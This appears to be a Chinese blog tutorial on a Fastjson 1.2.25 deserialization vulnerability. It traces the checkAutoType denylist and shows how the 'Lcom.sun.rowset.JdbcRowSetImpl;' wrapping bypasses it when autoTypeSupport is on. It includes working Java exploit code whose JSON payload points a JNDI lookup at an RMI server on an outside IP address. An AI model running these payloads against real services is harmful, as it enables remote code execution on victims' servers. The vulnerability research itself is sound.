从0开始fastjson漏洞分析3
前面两篇文章分析了fastjson的两条利用链,他们分别是:
(1)Fastjson 1.2.24 远程代码执⾏&&TemplatesImpl,依赖Feature.SupportNonPublicField 利用链
(2)Fastjson 1.2.24 远程代码执行 JNDI && JdbcRowSetImpl利⽤链
现在升级我们的fastjson版本到1.2.25:
pom.xml:
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.25</version> </dependency>
还是使用1.2.24的exp:
public static void main(String[] args) throws ClassNotFoundException { Class.forName("com.sun.rowset.JdbcRowSetImpl"); Class.forName("com.alibaba.fastjson.parser.DefaultJSONParser"); String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://119.45.227.86:123/Exploit\",\"autoCommit\":true}"; JSON.parse(poc); }
调试分析下:
一直往下执行:
发现这么一段代码:
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { ref = lexer.scanSymbol(this.symbolTable, '"'); Class<?> clazz = this.config.checkAutoType(ref, (Class)null); if (clazz != null) {
这在fastjson1.2.24上是没有的,会对我们输入json文本中解析的类进行检测,调用了checkAutoType函数:
跟进:
判断autoTypeSupport是否为真,这里不为真,直接往下走:
这里autoTypeSupport是false,所以不走这里,直接走else:
一步步往下执行:
if (!this.autoTypeSupport) { String accept; int i; for(i = 0; i < this.denyList.length; ++i) { accept = this.denyList[i]; if (className.startsWith(accept)) { throw new JSONException("autoType is not support. " + typeName); } }
会遍历denyList数组数据:
["bsh", "com.mchange", "com.sun.", "java.lang.Threa...", "java.net.Socket", +17 more]
所有黑名单列表,只要攻击者使用这些类,立马触发异常拦截
0 = "bsh" 1 = "com.mchange" 2 = "com.sun." 3 = "java.lang.Thread" 4 = "java.net.Socket" 5 = "java.rmi" 6 = "javax.xml" 7 = "org.apache.bcel" 8 = "org.apache.commons.beanutils" 9 = "org.apache.commons.collections.Transformer" 10 = "org.apache.commons.collections.functors" 11 = "org.apache.commons.collections4.comparators" 12 = "org.apache.commons.fileupload" 13 = "org.apache.myfaces.context.servlet" 14 = "org.apache.tomcat" 15 = "org.apache.wicket.util" 16 = "org.codehaus.groovy.runtime" 17 = "org.hibernate" 18 = "org.jboss" 19 = "org.mozilla.javascript" 20 = "org.python.core" 21 = "org.springframework"
其中包含了我们的com.sun,继续往下执行:
if (className.startsWith(accept)) { throw new JSONException("autoType is not support. " + typeName); }
因为exp开头包含com.sun,所以直接提示autoType不支持
所以在实战渗透中如果你一个exp过去,提示autoType is not support +classname,那么多半是你的恶意类触发黑名单了
所以就需要去绕过:使用黑名单的方式,是非常不安全的,只要我们修改exp中的@type的value为[恶意字符串com恶意字符串.恶意字符串sun恶意字符串.rowset.JdbcRowSetImpl],这样startsWith就匹配不到了.
继续往下走:
会进行判断:
最后判断,如果autoTypeSupport是false,就说autoTyp不支持,白名单处理
fastjson默认关闭autoTypeSupport..
如果开启fastjson autoTypeSupport会怎么样?
exploit:
package com.test.fastjson.Exploit_chain2; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class ExploitPoc { public static void main(String[] args) throws ClassNotFoundException { //设置AutoTypeSupport为真,默认AutoTypeSupport是fasle ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String poc ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://119.45.227.86:123/Exploit\",\"autoCommit\":true}"; JSON.parse(poc); } }
重新debug下,进去:
继续跟:
把一整块代码贴出来:
if (!this.autoTypeSupport) { String accept; int i; for(i = 0; i < this.denyList.length; ++i) { accept = this.denyList[i]; if (className.startsWith(accept)) { throw new JSONException("autoType is not support. " + typeName); } } for(i = 0; i < this.acceptList.length; ++i) { accept = this.acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (this.autoTypeSupport || expectClass != null) { clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader); }
直接来到这里:
进入TypeUtils.loadClass方法:
public static Class<?> loadClass(String className, ClassLoader classLoader) { if (className != null && className.length() != 0) { Class<?> clazz = (Class)mappings.get(className); if (clazz != null) { return clazz; } else if (className.charAt(0) == '[') { Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } else if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); } else {
写个demo:
package com.test.fastjson.Exploit_chain2; public class Test { public static void main(String[] args) { String className = "Lcom.sun.rowset.JdbcRowSetImpl;"; if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); System.out.println(newClassName); } } }
当加载loadclass的时候会处理我们的calssname,我们前面type设置成Lcom.sun.rowset.JdbcRowSetImpl;
即可绕过黑名单限制,从而达成命令执行
结论:当setAutoTypeSupport为真的时候,可以绕过黑名单,否则无法攻击,除非在挖出一条新的利用链
参考:phith0n fastjson绕过系列